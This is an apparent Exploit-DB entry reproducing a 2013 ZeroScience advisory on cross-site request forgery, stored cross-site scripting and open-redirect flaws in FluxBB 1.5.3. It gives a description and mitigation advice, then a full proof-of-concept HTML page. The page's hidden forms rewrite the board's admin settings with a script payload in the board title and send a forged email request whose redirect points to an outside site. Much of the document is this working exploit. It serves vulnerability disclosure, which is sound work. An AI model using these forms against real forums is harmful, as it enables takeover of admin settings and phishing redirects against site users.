FluxBB 1.5.3 Multiple Remote Vulnerabilities

vendor:

FluxBB

by:

Gjoko 'LiquidWorm' Krstic

8,8

CVSS

HIGH

Cross-site Scripting, Cross-site Request Forgery and URL Redirect Vulnerability

79,352,601

CWE

Product Name: FluxBB

Affected Version From: 1.5.3

Affected Version To: 1.5.3

Patch Exists: YES

Related CWE: N/A

CPE: a:fluxbb:fluxbb:1.5.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows 7 Ultimate SP1 (EN), Apache 2.4.2 (Win32), PHP 5.4.7, MySQL 5.5.25a

2013

FluxBB 1.5.3 Multiple Remote Vulnerabilities

FluxBB suffers from a cross-site scripting, cross-site request forgery and URL redirect vulnerability. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed via the 'redirect_url' parameter in 'misc.php' script is not properly verified before being used to redirect users. This can be exploited to redirect a user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain. It also fails to properly sanitize user-supplied input to the 'form[board_title]' POST parameter in the 'admin_options.php' script. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session.

Mitigation:

Input validation should be performed to verify that the data is properly formatted and contains no malicious content. All input data should be filtered, especially if it originates from an untrusted source. It is also recommended to use a whitelist of accepted inputs that strictly define what type of data is accepted.

Source

Exploit-DB raw data:

<!--

FluxBB 1.5.3 Multiple Remote Vulnerabilities


Vendor: FluxBB
Product web page: http://www.fluxbb.org
Affected version: 1.5.3

Summary: FluxBB is fast, light, user-friendly forum software for your website.

Desc: FluxBB suffers from a cross-site scripting, cross-site request forgery
and URL redirect vulnerability. The application allows users to perform certain
actions via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. Input passed via the
'redirect_url' parameter in 'misc.php' script is not properly verified before
being used to redirect users. This can be exploited to redirect a user to an
arbitrary website e.g. when a user clicks a specially crafted link to the
affected script hosted on a trusted domain. It also fails to properly sanitize
user-supplied input to the 'form[board_title]' POST parameter in the 'admin_options.php'
script. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2013-5150
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5150.php



27.07.2013

-->


<html>
<head>
<title>FluxBB 1.5.3 Multiple Remote Vulnerabilities</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/fluxbb/admin_options.php">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="form[board_title]" value='<script>alert(1)</script>' />
<input type="hidden" name="form[base_url]" value="http://localhost/fluxbb" />
<input type="hidden" name="form[default_timezone" value="0" />
<input type="hidden" name="form[default_dst" value="0" />
<input type="hidden" name="form[default_lang" value="English" />
<input type="hidden" name="form[default_style" value="Air" />
<input type="hidden" name="form[time_format" value="H:i:s" />
<input type="hidden" name="form[date_format" value="Y-m-d" />
<input type="hidden" name="form[timeout_visit" value="1800" />
<input type="hidden" name="form[timeout_online" value="300" />
<input type="hidden" name="form[redirect_delay" value="1" />
<input type="hidden" name="form[show_version" value="0" />
<input type="hidden" name="form[show_user_info" value="1" />
<input type="hidden" name="form[show_post_count" value="1" />
<input type="hidden" name="form[smilies]" value="1" />
<input type="hidden" name="form[smilies_sig" value="1" />
<input type="hidden" name="form[make_links" value="1" />
<input type="hidden" name="form[topic_review" value="15" />
<input type="hidden" name="form[disp_topics_default" value="30" />
<input type="hidden" name="form[disp_posts_default" value="25" />
<input type="hidden" name="form[indent_num_spaces" value="4" />
<input type="hidden" name="form[quote_depth" value="3" />
<input type="hidden" name="form[quickpost" value="1" />
<input type="hidden" name="form[users_online" value="1" />
<input type="hidden" name="form[censoring" value="0" />
<input type="hidden" name="form[signatures" value="1" />
<input type="hidden" name="form[show_dot" value="0" />
<input type="hidden" name="form[topic_views" value="1" />
<input type="hidden" name="form[quickjump" value="1" />
<input type="hidden" name="form[gzip" value="0" />
<input type="hidden" name="form[search_all_forums" value="0" />
<input type="hidden" name="form[additional_navlinks" value="" />
<input type="hidden" name="form[feed_type" value="2" />
<input type="hidden" name="form[feed_ttl" value="0" />
<input type="hidden" name="form[report_method" value="0" />
<input type="hidden" name="form[mailing_list" value="lab@zeroscience.mk" />
<input type="hidden" name="form[avatars" value="1" />
<input type="hidden" name="form[avatars_dir" value="img/avatars" />
<input type="hidden" name="form[avatars_width" value="60" />
<input type="hidden" name="form[avatars_height" value="60" />
<input type="hidden" name="form[avatars_size" value="10240" />
<input type="hidden" name="form[admin_email" value="lab@zeroscience.mk" />
<input type="hidden" name="form[webmaster_email" value="lab@zeroscience.mk" />
<input type="hidden" name="form[forum_subscriptions" value="1" />
<input type="hidden" name="form[topic_subscriptions" value="1" />
<input type="hidden" name="form[smtp_host" value="" />
<input type="hidden" name="form[smtp_user" value="" />
<input type="hidden" name="form[smtp_pass1" value="" />
<input type="hidden" name="form[smtp_pass2" value="" />
<input type="hidden" name="form[smtp_ssl" value="0" />
<input type="hidden" name="form[regs_allow" value="1" />
<input type="hidden" name="form[regs_verify" value="0" />
<input type="hidden" name="form[regs_report" value="0" />
<input type="hidden" name="form[rules" value="0" />
<input type="hidden" name="form[rules_message" value="Enter+your+rules+here" />
<input type="hidden" name="form[default_email_setting" value="1" />
<input type="hidden" name="form[announcement" value="0" />
<input type="hidden" name="form[announcement_message" value="Enter+your+announcement+here." />
<input type="hidden" name="form[maintenance" value="0" />
<input type="hidden" name="form[maintenance_message" value="Forum Down!" />
<input type="hidden" name="save" value="Save+changes" />
<input type="submit" value="XSS" />
</form>
<br />
<form method="POST" action="http://localhost/fluxbb/misc.php?email=2">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://www.zeroscience.mk" />
<input type="hidden" name="req_message" value="Follow the Spirit" />
<input type="hidden" name="req_subject" value="ZSL" />
<input type="hidden" name="submit" value="Submit" />
<input type="submit" value="Forge and Redirect" />
</form>
</body>
</html>